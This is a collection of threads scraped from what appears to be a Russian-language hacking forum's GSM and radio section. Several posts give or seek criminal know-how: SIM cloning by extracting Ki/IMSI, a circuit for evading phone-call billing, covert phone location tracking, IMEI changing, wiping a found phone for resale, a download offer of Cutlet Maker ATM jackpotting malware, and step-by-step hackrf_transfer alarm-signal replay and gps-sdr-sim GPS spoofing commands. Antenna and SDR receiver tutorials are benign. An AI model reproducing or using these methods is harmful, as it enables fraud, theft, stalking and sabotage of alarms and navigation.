Опять же дуем на радио рынок, там мутим "болванку" сим карты, стоит порядка 5-10 бачей(эта таже симка, только пустая и подающеяся перезаписи). Мутим программатор, вот он стоит довольно таки недешего ~30(хотя все зависит от жадности продавца).Програматор - самая важная часть такчто предварительно как его покупать нужно удостоверится, что софт его узнает. Потом потрубуется софт sim_scan by ejan Kaljevic 2003, SIM_EMU_6.01, icprog.exe вобще софта море.
Далее все просто прогзой типа сим скан ищем Ki и IMSI симок которые мы будем писать в болванку. Ki - это тот номер по которому тебя узнает оператор, он лежит в зашифрованном виде и с ограниченным доступом, но проблем с его выдергиванием у новых прогз не возникает(единственное с некоторых симок у некоторых операторов так не получится - там новый метот прятанья и ничего работающего я так и не нашел. такая лажа с новыми симками мегафона)IMSI лежит в открытом виде, поэтому выдирается легко. Скан идет от ~2 часа. В описании програматора обычно написанно какую он поддерживает скорость, тобишь скорость работы с com портом, выбираем его в проге и еще некоторые симки не читаются на некоторых скоростях(методом перебора находишь свой, сначала попробуй самую медленную, но на ней ты можешь быстро убить симку, т.к. на некоторых стоит ограничение на количество обращений, при большей скорости по не известным мне причинам они медленее кончаюся)
Так сканим две(или более) симок, записываем полученные результаты.
Далее нужно в болванку симки залить прошиву, анпример прогзой SIM_EMU_6.01 или Woron_Scan(она и сканить по моему умеет). Прошивы обычно идут с ней. Смысл работы прошивы в том, чтобы твой чип научить эмулировать симку, а далее все зависит от прогзы которой льешь прошивку. т.е. можно выбирать номер при включении - в зависимости от набранного пина врубается один или другой номер.Или выбирать уже из нового пункта меню sim menu(не все трубы его поддерживают). Вобщем все прогзы похожи и разобратся в них не сложно.

В чем смысл?Ну например половина друзей билайн половина мтс, в зависимости от того кому звонишь врубаешь номер. Потом с помощью прогррамматора можно разблокировать сим карты как в сервис центре, менят забытие пины и паки.

Стробоскоп
ID: 676535aeb4103b69df373709
Thread ID: 4223
Created: 2005-07-08T08:35:58+0000
Last Post: 2005-09-14T07:21:05+0000
Author: serega_rea-01
Replies: 9 Views: 6K

Подскажите простенькую и недорогую схемку стробоскопа.

Как узнать геолокацию телефона по номеру
ID: 676535aeb4103b69df373553
Thread ID: 36742
Created: 2020-04-25T14:48:16+0000
Last Post: 2024-09-30T12:23:47+0000
Author: borl1nd
Prefix: GSM
Replies: 29 Views: 6K

Ребят тема такая - нужно узнать местонахождение телефона по номеру( без уведомления владельца) подскажите варианты.

Принимаем sms USA и CA
ID: 676535aeb4103b69df3735af
Thread ID: 26172
Created: 2018-10-03T12:54:35+0000
Last Post: 2023-10-19T07:16:55+0000
Author: xrahitel
Prefix: GSM
Replies: 12 Views: 6K

Переходим в shodan у меня стоит плагин для хрома так удобней кому надо тыц :screenshot: кли- кай

Смотрим видео тыц список роутеров, с которых можно слать\принимать.
Huawei B683-24 (европа, ру, канада, юса)
ASUS 4G-N12 (аналогично хуавею)
TP-LINK TL-MR6400(европа)
RB-MTX (преимущественно польша)
VIP4G + аналоги(канада, юса)
iRZ (ру)

© rewrite

Обман АТС
ID: 676535aeb4103b69df373708
Thread ID: 3599
Created: 2005-04-23T12:50:18+0000
Last Post: 2005-09-30T20:17:11+0000
Author: s3po
Replies: 6 Views: 5K

Деньги за повременку не начисляются, пока вызываемый абонент не снимет трубку. Если заставить АТС думать, что трубка не снята, счет не придет. Чтобы это сделать, нужно на стороне вызываемого абонента удерживать напряжение в линии после снятия трубки таким, чтобы посылка сигналов индукторного вызова прекратилась.Смысл в том, что за прекращение индукторного вызова и включение счетчика отвечают разные реле в оборудовании станции, и первое реле срабатывает при более высоком напряжении, чем второе (сделано для того, чтобы второе не срабатывало ложно от индукторного сигнала). То есть вы звоните тому у кого стоит этот девайс и вам не начисляются деньги.
Стабилитрон на напряжение 22...26 вольт (подбираем на месте, постепенно увеличивая, до момента прекращения индукторного вызова). Можно прменить несколько последовательно включенных стабилитронов на меньшее напряжение. При использовании модема иногда может потребоваться запараллелить диоды моста конденсаторами по 0.1...1 uF. Диодный мост можно исключить, если использовать двунапрваленный стабилитрон (или пару включенных встречно), либо включать схему в соответствии с полярностью линии. Замечание: Фрик работает только на 60-вольтовых линиях. В некоторых местностях распостранились 5-вольтовые линии, на них этот трюк не сработает.

Схему кину на мыло кому надо.

Как выпить в жару холодного Пива
ID: 676535aeb4103b69df3736ce
Thread ID: 10374
Created: 2006-08-08T01:52:43+0000
Last Post: 2006-12-08T03:46:13+0000
Author: мозголом
Replies: 9 Views: 5K

не давна нашел такую классную штуку каиф поможет ну всем кто хочет от дохнуть

Интерестная идея портативное охлажение Пива

Самое главное — это элемент Пельтье. Для тех, кто в танке, объясняю — это такая пластина, при подачи на которую эл-ва одна ее сторона нагревается, зато другая — охлаждается.
нашел я это на http://www.nica.ru/~lexanson/03.06.2003/3
работает на 100% :holloween: :punk: :thumbsup:

Смена IMEI
ID: 676535aeb4103b69df37354e
Thread ID: 102757
Created: 2023-11-22T14:29:01+0000
Last Post: 2024-10-05T20:54:12+0000
Author: BALLER
Prefix: GSM
Replies: 48 Views: 5K

Всем привет, есть способы смены ИМЕИ на процессорах МТК. Тут встал вопрос как сменить на процессоре snapdragon?
Телефон Xiaomi
Буду благодарен за помощь.

Прослушка без "жучка"
ID: 676535aeb4103b69df373557
Thread ID: 70125
Created: 2022-07-14T20:22:17+0000
Last Post: 2024-09-17T20:15:13+0000
Author: gliderexpert
Replies: 54 Views: 5K

Похоже, опять не описанный в интернете способ )

Суть такая. На алюминии при контакте с кислородом из воздуха образуется оксидная пленка, которая - в некоторых случаях является диэлектриком, в некоторых способна проявлять нелинейные электрические свойства, как полупроводник.
Возьмем для примера два куска алюминиевой проволоки и смотаем их между собой, но не очень плотно чтобы не повредить тонкий оксидный слой - так чтобы получить антенну-диполь, нагруженную на вот этот слой оксида алюминия.
Облучая такой диполь радиосигналом, можно получать "отклик" от него как от полупроводника на второй гармонике - тот же принцип как в нелинейной локации.
При механическом воздействии на тонкий слой оксида - отраженный сигнал модулируется пропорционально интенсивности приложенных механических колебаний.

Эту гипотезу я проверил на настольном макете с использованием обычного ВЧ генератора и широкополосного приемника.

Если пофантазировать - сколько таких диполей находится внутри обычного помещения? Детали конструкции приборов, электропроводка, металлические части мебели и многое другое.
В теории, облучая помещение радиосигналом с высокой стабильностью частоты и фазы, можно заставить все эти элементы "звучать" на второй гармонике. Принимая сигнал и перенося "вниз" при помощи гетеродина, синхронного с генератором "подсветки" - можно выделить звук.
Подозреваю что качество будет очень низким, но цифровая обработка (не говоря про нейросети) творит чудеса.

По самым грубым оценкам чтобы прослушать помещение на расстоянии 50м с чувствительностью используемого приемника 0.5мкв, нужен передатчик мощностью около 50вт и антенной 5...6дБ. Что более чем реально.

У кого какие мысли на эту тему? Сразу скажу, прошу не путать этот способ с объемными резонаторами, про которые информации много.
Сам я плотно этим вопросом займусь чуть позже, сейчас занят другой темой, но пока собираю информацию т.к. считаю данное направление очень перспективным.

Антенны
ID: 676535aeb4103b69df37358d
Thread ID: 85840
Created: 2023-04-13T14:24:08+0000
Last Post: 2024-01-27T20:18:38+0000
Author: gliderexpert
Prefix: Статья
Replies: 53 Views: 5K

Начав работать с радиооборудованием — таким как SDRы, устройствами для перехвата WiFi и так далее — в наиболее просвещённых СВЧ-волнами головах - возникают идеи улучшить качество сигнала, дальность - используя другие, как они любят говорить - «более мощные» антенны.

Эта статья — о наиболее важных моментах, которые нужно учитывать при выборе антенны под вашу задачу. Простым языком и со множеством упрощений.

Если же эти строки читает человек, использовавший для своего просвещения что- то более жесткое чем СВЧ, и теперь хочет предметно поговорить про S-параметры, HFSS и поспорить кто круче Agilent vs. R&S — велком в личные сообщения, всегда буду рад )

Оглавление темы:
- это сообщение - теория. Что такое антенны и какие они бывают
- Обзор антенны для взлома WiFi (АX-2414Y)
- Обзор антенны TP-Link TL- ANT2409A
- Один из вариантов антенны для приема LTE/GSM в движении
- Обзор телескопической антенны с SMA разъемом (как в комплекте HackRF)

Итак, антенна — устройство для приема и передачи радиоволн. От ее правильного выбора — зависит эффективность работы всего изделия в целом.
Работу плохого приемника можно улучшить используя хорошую антенну, а вот улучшить «плохую» антенну — дорогой электроникой, как правило нельзя.
Поэтому, люди работающие с радиооборудованием — привыкли говорить: «лучший усилитель — хорошая антенна».

Самая простая антенна — называется ДИПОЛЬ: 2 металлических стержня, подключенные к соединительному кабелю:

dipole.png

Один из стержней — активный (вибратор) — он подключен к центральной жиле кабеля. Второй стержень — противовес, он подключен к оплетке кабеля, «заземлен».
Размеры диполя, как и любой другой антенны — зависят от частоты, на которую он рассчитан. Чем выше частота — тем меньше длина металлических стержней.
antenna1.jpg
Диполь работает только в очень небольшом диапазоне частот, определяемом его длиной. Т.е. диполь, сделанный изначально для 900МГц, на частоте 2.4ГГц — работать не будет.

Есть набор некоторых основных параметров, таких как:
- рабочий диапазон частот
Антенны могут быть изготовлены для работы на какой-то одной частоте (как диполь), либо широкополосные — на несколько частот. Фактически, широкополосная антенна — это набор из нескольких диполей разных размеров, каждый из которых работает в своем диапазоне частот.

Примеры — узкополосные антенны , работающие в небольшом диапазоне относительно определенной частоты:
Диполи:
dipole.jpg2.png

Штыревые антенны 1/4, коллинеарные антенны:
1.jpeg3.jpg

YAGI:
4.jpgpcb yagi.jpg
Квадраты, би-квадраты:
biquad.jpgbiquad2.jpg
Это все были узкополосные антенны, т.е. те которые работают только в одном диапазоне частот. Такие антенны, будучи сделанными например для 2.4ГГц - на 5ГГц хорошо работать не будут! 1 частота = 1 антенна!

Примеры широкополосных антенн , способных эффективно работать на нескольких частотах

Логопериодические:
logoper.jpegpcb.jpeg

Дискоконусные, би-конусные:

discone.jpegbicone.jpg
Антенны такого типа могут работать сразу на нескольких частотах, но как правило - остальные характеристики у них хуже.

Следующий важный параметр - усиление (и связанный с ним — направленность)

Точкой отсчета для этого параметра является диполь. Усиление диполя — примерно 1дБ (дециБелл).

Представьте, что диполь излучает (и принимает) сигнал во все стороны, по кругу

02.jpg

Если сбоку от антенны поставить зеркало, отражатель — получается, что за зеркалом образуется область без излучения, а со стороны диполя — наоборот, излучение будет значительно больше, т.к. к собственному излучению антенны добавлен еще и отраженный сигнал.
Вот такой "колхоз" люди иногда собирают. Конечно, отражатель должен быть больше размером, минимум в 2 раза, но смысл я думаю понятен:
dip1.jpg

Таким образом, антенна приобрела направленные свойства, и ее усиление стало больше. Излучение от диполя с отражателем выглядит вот так:
reflector.jpg

Вот пример промышленной антенны, где в качестве активного элемента - двойной квадрат, а отражатель - сетка:

quad1.jpegquad2.jpg

Отражатель может быть плоским, или вогнутым - «фокусирующим» излучение от антенны. Тут все очень похоже на оптику, например - вспомните как устроен отражатель у обычного фонарика или уличного прожектора.

parabola1.jpeglampa.jpg

Так работают антенны с рефлекторами и параболические . Всем известная «спутниковая тарелка» - это отражатель для диполя или набора из нескольких диполей (если нужно несколько рабочих диапазонов частот), который размещен в точке фокуса вогнутого зеркала.

parabola.png2.jpgch.jpeg

Отражатель может быть сплошной из металла, или сетчатый. Сплошной, конечно - более эффективный.
Иногда, рефлекторы таких антенн обрезают для уменьшения габаритов. Это тоже параболическая антенна:

dish.jpg

Усиление параболической антенны - прежде всего, зависит от размеров отражателя (зеркала). Чем больше отражатель - тем больше усиление.
Так же, в фокусе отражателя может находиться не диполь с усилением 1дБ, а какая-то более сложная конструкция (см ниже), тогда суммарное усиление может стать выше.
Вывод - к любой антенне можно добавить рефлектор той или иной формы, что позволит увеличить усиление и сделать диаграмму направленности более узкой.

Еще один способ увеличить усиление — соединить между собой несколько диполей. Каждый дает усиление 1дБ, и чем больше мы набираем одинаковых диполей — тем больше суммарное усиление антенны. Но при этом страдает ее диаграмма направленности — чем больше усиление у антенны, тем более узкой становится ее диаграмма направленности.
Так устроены антенны YAGI (см фото выше), и фазированные антенные решетки:
array.png
На фото - множество диполей, соединенные между собой + отражатель. Такая антенна обладает высоким усилением, и дает некоторые другие преимущества.

Фазированную решетку можно собрать и из широкополосных антенн, что увеличит суммарное усиление. Выглядит это примерно так:
reb.jpg
Серые элементы конусной формы, по 8шт - это логопериодические антенны (закрытые корпусами), собранные в фазированную решетку.

Следующий параметр. Эффективность излучения.
Предположим, подключили источник сигнала мощностью 100Вт к антенне. Из этих 100Вт — в эфир излучили только 50, а другая половина — нагрела элементы антенны и передатчика. Это и есть эффективность излучения.
Представьте, автомобильную фару с мутным или грязным стеклом. Плохо светит? Конечно, ведь часть энергии рассеивается на грязном стекле, отражателе и так далее. В антеннах - все тоже самое.

Как правило, параметр "эффективность" - связан с размером антенны (тут совсем сильно упростил). Это самая сложная для понимания величина. Т.к. статья — не «академическая», а скорее обзорная — предлагаю остановиться на факте, что эффективно излучать сигнал могут антенны, состоящие из диполей, каждый из которых имеет размер не меньше чем ½ длины волны.
Для частоты 900МГц — длина эффективной антенны, имеющее усиление 1дБ — не может быть меньше 16 сантиметров.
Частота 2.4ГГц — длина 6 сантиметров
Частота 5ГГц — 3см.
Соответственно — антенна с усилением 2дБ, будет иметь размеры уже как минимум в 2 раза больше, и так далее…
Тут не произойдет чуда, как бы этого не хотелось производителям антенн, порой продающих антенны размером с ладонь, якобы обладающих усилением в 10 и даже 20дБ.

Простыми методами эффективность излучения антенны не померить. Это делается специальным оборудованием, размещаемым в экранированных помещениях (безэховые камеры)
cam.png
"пирамидки" на стенах комнаты - поглощают радиоволны, не дают им отражаться - что делает измерения очень точными.

Когда мы устанавливаем антенну на устройство, добавляетсяеще один параметр — поляризация.
Антенна (диполь) излучает сигнал в той плоскости, в которой он установлен. Если приемная антенна будет развернута на 90 градусов — сигнал она не примет.
antenna-polarization-types.png

В радиотехнике принято использовать термины вертикальная или горизонтальная поляризация (есть еще круговые и т.д., но это уже специфические темы).
Для простых антенн - поляризация определяется методом установки антенны. Вертикально поставили штырь или диполь - поляризация вертикальная. Горизонтально - горизонтальная.
1-21.gif

Сотовая связь — из-за специальной конструкции антенны базовой станции, работает с любым видом поляризации, не имеет значения как устанавливать антенну телефона.

polarization-670-1.jpg

WiFi - все зависит от того, как у пользователя размещен роутер. Поэтому подбирать поляризацию, наклоняя антенну подключенную к «альфе» - придется опытным путем, руководствуясь уровнем принимаемого сигнала.

Механические свойства антенн.
Тип разъема.

Скорее всего, в своей практике — Вы столкнетесь с антеннами, имеющими разъемы SMA, или RP-SMA. Это довольно коварный стандарт, который очень похож внешне, можно даже ошибочно перепутать эти разъемы прикрутив RPSMA-антенну в SMA разъем, но работать при этом ничего не будет.
Отличие заключается в центральном контакте, обязательно проверяйте RP или обычный, не путайте «маму» с «папой» ! Ошибка в выборе разъема — равнозначна включению устройства без антенны, а значит может привести к выходу из строя передатчика.

sma.jpgSMA2.jpeg

Особое внимание - на пипку! Центральный контакт, он разный.
Почти во всех антеннах для WiFi - используется разъем RPSMA. В остальных, включая GSM - разъем SMA.
Но, каждый раз - нужно проверять этот момент, бывает что сами производители или продавцы, путают.

Переходники с одного стандарта на другой — использовать допустимо, но следует учитывать, что каждый дополнительный переходник вносит свои потери, и на частотах более 1ГГц они могут быть довольно существенными. Переходники в виде удлинителей-проводов, не желательны, т.к. вносят дополнительные потери на проводе.
Предпочтительные типы переходников:
ac.jpg

А вот такие переходники, использовать крайне нежелательно :
jump.jpg

Если же конструкция не позволяет обойтись без гибкого соединения - предпочтение следует отдавать максимально коротким удлинителям, сделанными из толстого коаксиального кабеля, обладающего низкими потерями.

Профессиональные антенны и оборудование имеют другие разъемы, изготовленные таким образом чтобы уменьшить потери на высоких частотах, а так же увеличить передаваемую через разъем мощность. Это так называемые разъемы тип N, BNC и другие.

n.jpgn2.jpegbnc.jpg

При возможности, лучше всего использовать разъемы стандарта N.
И, сами разъемы - покупать проверенных фирм. Качественный N разъем, хорошо работающий на частотах выше 2ГГц не может стоить дешевле 20-30$. Это, кстати - к вопросу стоимости антенн. Как может хорошая антенна на 5ГГц стоить 5$, если только один разъем стоит 30?

Поверхности и предметы окружающие антенну

Рядом с антенной, на расстоянии как минимум 3х длин волн не должно быть никаких металлических элементов, или других антенн.
Так, для частоты 900МГц — нужно убрать все лишнее как минимум на 1 метр от антенны. Предметы, находящиеся на меньшем расстоянии — оказывают сильное влияние на антенну и ухудшают ее параметры.
Конструкции типа как на фотографии (глушилка GSM), вызывают улыбку — ну не работают так антенны…
jam1.jpeg

Антенны в таких конструкциях нужно хотя бы на пол-метра друг от друга отнести. Или использовать ОДНУ, широкополосную антенну.
Пример правильного решения:
jammer.JPG
На такой переносной станции радиоэлектронной борьбы (РЭБ), "глушилке" - установлена всего одна биконусная антенна, четко видно что с блоком усилителя она соединена ОДНИМ кабелем. т.е. все ее штырьки, это элементы одной антенны, а не 10 разных антенн.
Все элементы включены параллельно, но т.к. биконусные антенны широкополосны - глушилка может работать в довольно широком диапазоне частот.

Далее. Антенны, предназначенные для крепления на крышу автомобиля при помощи магнита — нельзя использовать без металлической поверхности под ними. Они изначально спроектированы таким образом, чтобы работать находясь на электропроводящей поверхности.
car1.jpgcar2.jpg

Т.е. если Вы купили автомобильную антенну с магнитом — и поставили ее на пластиковый подоконник, или деревянный стол - нормально работать она не будет.
osmo.png
Вот так делать - не правильно! Положите кусок железа размером 1х1м, и поместите антенну в центр этого листа.

Примеры хороших антенн.

Однозначно — антенны Yagi, на тот диапазон который Вы перехватываете. 2.4 или 5ггц — разные антенны.
Панельные, «патч-антенны», не очень подходят, т. к. не имеют ярко выраженной поляризации.

Двойной квадрат, либо патч-антенна, либо более сложные конструкции.

Нужна всего одна широкополосная антенна и сумматор перед ней.
Такие антенны довольно сложны в расчетах и еще более сложны в изготовлении и настройке, не всегда они эффективны.
Как вариант — можно заменить логопериодической антенной, либо использовать несколько узкополосных антенн, разнесенных в пространстве.

Выводы
Все антенны хороши, но каждая из них - рассчитана под определенную задачу. Не существует универсального, "идеального" решения, подходящего под любую цель.
Поэтому - прежде чем покупать антенну, следует определиться - в каких условиях ее планируется использовать, на каких частотах.

Пишите вопросы, задачи - буду рекомендовать те или иные варианты антенн. Только одна просьба - пишите тут, в тему - а не в личные сообщения. Поверьте, Ваш вопрос - скорее всего не уникален, и намного правильнее ответить на него один раз на форуме - сохранив эту информацию "следующим поколениям", чем 10 раз писать и то же в ЛС.

Сutlet maker, Winpot
ID: 676535aeb4103b69df3735a3
Thread ID: 48515
Created: 2021-02-23T14:30:40+0000
Last Post: 2023-11-13T10:24:13+0000
Author: Tubu
Prefix: Статья
Replies: 15 Views: 5K

People want everything the easiest way, and tend to pay for something that will compromise them, putting them at risk. Because there is no method that can infect or access an ATm without being physically. Therefore, both the cutlet maker, Winpot and so many other existing malware are still active and working. Lack and courage or social engineering to be able to access the ATM safely. If you want to open the atm to be able to withdraw money, just the cutlet maker, identified only by Windows 10. Certainly all atm OSs run win7 or infeiror, which makes it clear that it works and will work for a long time. Until they update their OS to cost of billions. What I see and people selling another chicken's egg for mixing, which leads me to believe that only the seller wins and the risk is up to the buyer. with that in mind, I provide the cutlet maker with all the necessary applications, already with calcod, which authorizes the release of money. So if you dare to access an ATM physically, just inject a Hub, with a pendrive containing the cutlet maker and files, a wireless mouse, and one with a Windows XP iso, in case I need to reboot the system. Everything is contained within the available package.

Link download: https://drive.google.com/file/d/13sC...ew?usp=sharing
Password: infected

Прослушка SIP / VoIP телефонии
ID: 676535aeb4103b69df3735b1
Thread ID: 87264
Created: 2023-05-02T16:38:31+0000
Last Post: 2023-10-12T20:50:30+0000
Author: Veil
Prefix: Видео
Replies: 33 Views: 5K

Писать про SIP не хочется, там писать практически нечего. МИТМ атака и перехват.Снял видео как и обещал.
Жмак

Другой обменник пароль 6j1619

Радиохакинг ч.3 «GPS» и не только
ID: 676535aeb4103b69df3735c5
Thread ID: 28590
Created: 2019-04-04T16:39:27+0000
Last Post: 2023-08-07T14:11:13+0000
Author: utrom
Prefix: Статья
Replies: 6 Views: 5K

Подмена «GPS» с помощью SDR. Подмена любых передатчиков.

«Радио – изобретение, наделавшее много шуму.»

Введение

Статья приурочена к апрельскому АВИАХАКАТОНУ. Данная информация не руководство к действию злоумышленника, а скорее руководство для безопасников и привлечение внимания к данной проблеме. Все эксперименты опасны для вашей свободы!
Врядли вы узнаете что-то новое из этой статьи и неоднократно уже слышали (в году так аж 2013) с момента выхода Defcon 21 и доклада с коротким названием - AllYourRFzAreBelongtoMe:HackingtheWirelessWorldwithSoftwareDefinedRadio от **Balint Seeber 'a.

[ https://www.defcon.org/images/defcon-21/dc-21-presentations/Seeber/DEFCON-21-Balint- Seeber-All-Your-RFz-Are-Belong-to-Me.pdf ](https://www.defcon.org/images/defcon-21/dc-21-presentations/Seeber/DEFCON-21-Balint- Seeber-All-Your-RFz-Are-Belong-to-Me.pdf)

**
Так что изменилось за шесть лет, спросите вы? А ровным счетом ничего… Кроме того, что SDR значительно подешевели и позволить себе игрушку может каждый школяр и если некоторые индивидуумы думают, что ограничение продажи устройств что-то решит в этой стране, очень жаль Вас, вы некомпетентны. Протоколы безопасности не обновляются или не существуют вообще (например, свободное общение сотрудников и передача персональных данных граждан по рации ретранслятора, который есть в каждом городе, наплевав на все ФЗ, которыми нас начали тыкать последнее время), багов и лазеек все больше и больше с каждым днем.

Просто подмена сигнала

Методика подмены сигнала (практически любого) строится на трех китах и проста до безобразия. База , которая будет подменяться, глушилка (необходимо знать ТТХ твоего устройства перед применением и подбирать необходимый радиус), устройство для копирования и вещания сигнала, в нашем случаеSDR. Рассмотрим одну простейшую ситуацию, а область применения широка, от диверсий и дезинформаций до взлома пультов охранных предприятий.

Пример - сигнализация типового объекта:

Code:Copy to clipboard

1) Изучаем спектр частот и находим нужный нам сигнал. Софт - SDRSharp, Gqrx, Gnu-Radio

2) Записываем кусок сигнала: hackrf_transfer  -r NAME_FILE -f 473000000 -b 1750000 -s 16000000 -a 1

3) Воспроизводим сигнал: hackrf_transfer  -t NAME_FILE -f 473000000 -b 1750000 -s 16000000 –a 1

Ключом -f задается частота в герцах, в этих же единицах указываются ширина записываемой полосы (-b) и частота дискретизации сигнала (-s). Ключ -a _отвечает за использование встроенного усилителя. Ну, а про rx / tx вы уже должны знать к этому моменту.

3131_

Да, друг мой, все настолько просто. Сигнализация хоть и сработает, но об этом узнают слишком поздно.
Конечно же продуман скажет «Сейчас все на Симках и GSM протоколе, проводах бла бла бла» да, но это не панацея, такие сигнализации банально «залинкованы» с пультом управления и при глушении начинают «визжать» сначала по интернету, а если он не доступен СЛАТЬ СМС! О перехвате СМС и трафика есть информация в первой части ;) но вы определенно столкнетесь с внутренней алгоритмизацией таких сообщений даже прорвавшись через протокол связи и придется подумать (как правило отправка в течении 1-1.5 минуты на пульт).

Или упрощенная методика без глушилки – наш сигнал (помеха) должен быть сильнее источника , но это дополнительные риски :smile81:

GPS

3132

Сейчас приемник спутниковой навигации есть не только в телефоне, но и — в промышленных установках, в датчиках телеметрии, в банкоматах. Такие приемники обеспечивают навигацию в автоматически управляемых системах, от городского транспорта до военных дронов. Системы глобального позиционирования проникли в нашу жизнь и большинство людей не задумываются насколько им можно доверять.

Почему АВИАХАКАТОН? Маленький стеб. На борту самолета находится более 7 датчиков и прогноз неутешителен… от банального перенаправления судна. Общение идет так же по открытым каналам.

Гражданские квадрокоптеры имеют программе запрещенные координаты, над которыми им нельзя летать, — например, аэропортов. Используя «навигационное оружие», можно убедить квадрокоптер, что он оказался во Внуково, в результате чего он не сможет лететь дальше и сядет. Предполагается, что именно такой защитой от дронов объясняются сбои GPS вокруг Кремля. А можно и посадить в удобном месте :smile23:

Большую опасность представляет подделка сигнала спутников, в случае промышленных систем синхронизации — в энергетике или в добывающей промышленности. Для подсчета электроэнергии или для выбора схем энергоснабжения на различных участках используется синхронизация времени по данным той же системы GPS. Обман такой системы всего на несколько секунд приведет к тому, что система недосчитает мегаватты электроэнергии.

Есть яркий пример – история о немецких станках. Они были привязаны к заводу по координатам и их вынесли спокойно куда было нужно. Яхту за 80 миллионов _$_направили в другое место :smile45:

Самые простые варианты -используют в угонах , дабы датчик не глушить и навести погоню на ложный след. Слышал про туристов… Поворот не туда смотрели фильм? :eek:

3133

Реализация.

Не забудьте про наличие TCXO на вашей RF-плате :smile12:
Предварительно установить необходимый набор стандартного софта (HackRF, Lime, USRP)
blog.goo.ne.jp/osqzss - учим Японский )

![www.u-blox.com](/proxy.php?image=https%3A%2F%2Fwww.u-blox.com%2Fsites%2Fdefault%2Ffiles%2Fproducts%2Fu- center2_web.png&hash=2f78579f87bb7e3778ff4edfd62cbaea&return_error=1)

u-center

GNSS evaluation software for Windows

![www.u-blox.com](/proxy.php?image=https%3A%2F%2Fwww.u-blox.com%2Fde%2Fproduct%2Fu- center%2F&hash=cb3a475f4c2af48f88d3443a87db9c70&return_error=1) www.u-blox.com

Линь , тут и информация по запуску и генерации файла с координатами - https://github.com/osqzss/gps-sdr-sim
https://www.labsat.co.uk/index.php/en/free-gps-nmea-simulator-software

Вы можете создать путь с помощью Google Планета Земля и сохранить путь вKML (язык разметки а-ля XML) Используя эту программу SatGen , вы можете загрузить KML, и он покажет вам некоторые опции, которыми вы можете манипулировать, а также приблизительную картину вашего пути. Подсовывать динамичные данные спутника следует в CSV файле, которые вы конвертируете из KML.

Code:Copy to clipboard

./nmea2um output_nmea_file user_motion.csv

3134

Вынь , Инсталятор Gnu-Radio под - http://www.gcndevelopment.com/gnuradio/downloads.htm

Запустите Visual Studio.
Создайте пустой проект для консольного приложения.
Добавьте «gpssim.c» и «getopt.c» в папку «Souce Files».
Выберите «Release» в раскрывающемся списке « Configurations».
Build.

Сгенерировать статичный сигнал на тест таким образом:

gps-sdr-sim.exe -e brdc3540.14n -s 2500000 -l 30.296403,120.0526889,100 -b 8 -d 300 -v -o 123.bin

Для общего развития:
http://webarchiv.ethz.ch/geometh-data/downloads/GPSBasics_en.pdf

Заключение

Методика обнаружения – это доплеровский радар. Система должна детектить сдвиг сигнала не только по мощности, но и положению передатчика, что даст некое подобие защиты (совместно). Добавить больше нечего…

…кроме
[https://www.darkreading.com/iot/gps-spoof-hits-geneva-motor- show/d/d-id/1334147](https://www.darkreading.com/iot/gps-spoof-hits-geneva- motor-show/d/d-id/1334147?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple)

:smile60:

ATM Hacking | Взлом Банкомат [Exploit, CVE]
ID: 676535aeb4103b69df37364a
Thread ID: 46463
Created: 2021-01-08T00:55:57+0000
Last Post: 2021-07-25T14:20:16+0000
Author: pablito
Prefix: Видео
Replies: 12 Views: 5K

Где я могу найти этот вирус? Where can i find this Virus? {Exploit | CVE}

удалить аккаунт icloud
ID: 676535aeb4103b69df37368e
Thread ID: 33486
Created: 2019-11-26T22:56:10+0000
Last Post: 2020-03-01T16:37:31+0000
Author: denismal99
Replies: 6 Views: 5K

кто учит меня удалять учетную запись icloud с телефонов iphone

Андройд обновить до нуля телефон OPPO
ID: 676535aeb4103b69df373690
Thread ID: 32648
Created: 2019-10-22T07:04:54+0000
Last Post: 2019-12-07T11:55:23+0000
Author: MRXX
Replies: 15 Views: 5K

Ситуация такая нашел телефон! Там пароль стоит! заряжает через юсб все нормально а вот к компу не подрубает кто знает как обновить и продать данный телефон?)
Вернее снести ) А продам я сам)))

Лови сигнал! Используем SDR, чтобы перехватить и расшифровать сигнал пульта
ID: 676535aeb4103b69df3736a3
Thread ID: 29672
Created: 2019-06-05T18:05:46+0000
Last Post: 2019-06-05T18:05:46+0000
Author: tabac
Replies: 0 Views: 5K

Лови сигнал! Используем SDR, чтобы перехватить и расшифровать сигнал пульта

Автор: @DmitrySpb79

Если при слове «радио» тебе вспоминается только старый дедушкин «Грюндиг» или «Океан», то это очень узкий взгляд на вещи. Мы живем во время беспроводных устройств, интернета вещей, 5G и прочих интересных штук. Все больше информации передается «по воздуху», поэтому хороший специалист должен разбираться в радиопротоколах. Я расскажу, как принимать сигнал, где его искать и как анализировать.

Что передается по радио
Для начала нужно понять, что и где можно найти в радиоэфире. Список обширный: от изображений с метеоспутников до команд для атомных подводных лодок.

Купить широкополосный радиоприемник USB можно на eBay всего лишь за 30 долларов с бесплатной почтовой доставкой. Ищи по словам RTL SDR V3. Он позволяет принимать и записывать практически любые радиосигналы в диапазоне от 24 до 1700 МГц, и этого более чем достаточно для большинства экспериментов.

Еще в Первую мировую войну было известно, что переданные радиосигналы могут быть приняты кем угодно. Так что все действительно важное передается зашифрованным, и не стоит надеяться включить радио и узнать секреты Пентагона. Но кое-что интересное найти все же можно.

Пройдемся по частотам.

Экскурс вышел не очень кратким, но это было необходимо. Теперь пора поговорить о том, что нам нужно, чтобы радиосигналы принимать и передавать.

Железо
В радиотехнике, как и во многих жизненных областях, все зависит от бюджета. Примерно за 30 долларов можно купить приемник RTL SDR V3, позволяющий принимать радиосигналы в диапазоне от 24 до 1700 МГц.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage001.jpg&hash=2926c85ae73e4e374e6b6f5070b07f63)
RTL SDR

В комплект входит антенна и мини-штатив. Остерегайся подделок и не бери совсем дешевые модели с AliExpress за десять баксов. Да, китайцы научились уже подделывать сами себя.

С этим приемником можно принимать сигналы авиадиапазона, FM-радио, портативных радиостанций, ADS-B, некоторых модемов. Но вот передавать RTL SDR не может.

Если ты хочешь не только принимать радиосигналы, но и передавать их, тогда хороший выбор — это LimeSDR или LimeSDR Mini. Первый более функциональный и дорогой, второй дешевле. Примерно за 200 или 400 долларов ты получаешь устройство, способное и принимать, и передавать в диапазоне от 10 МГц до 3,8 ГГц.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage002.jpg&hash=edb415c35829822f1287345359c30322)
LimeSDR Mini

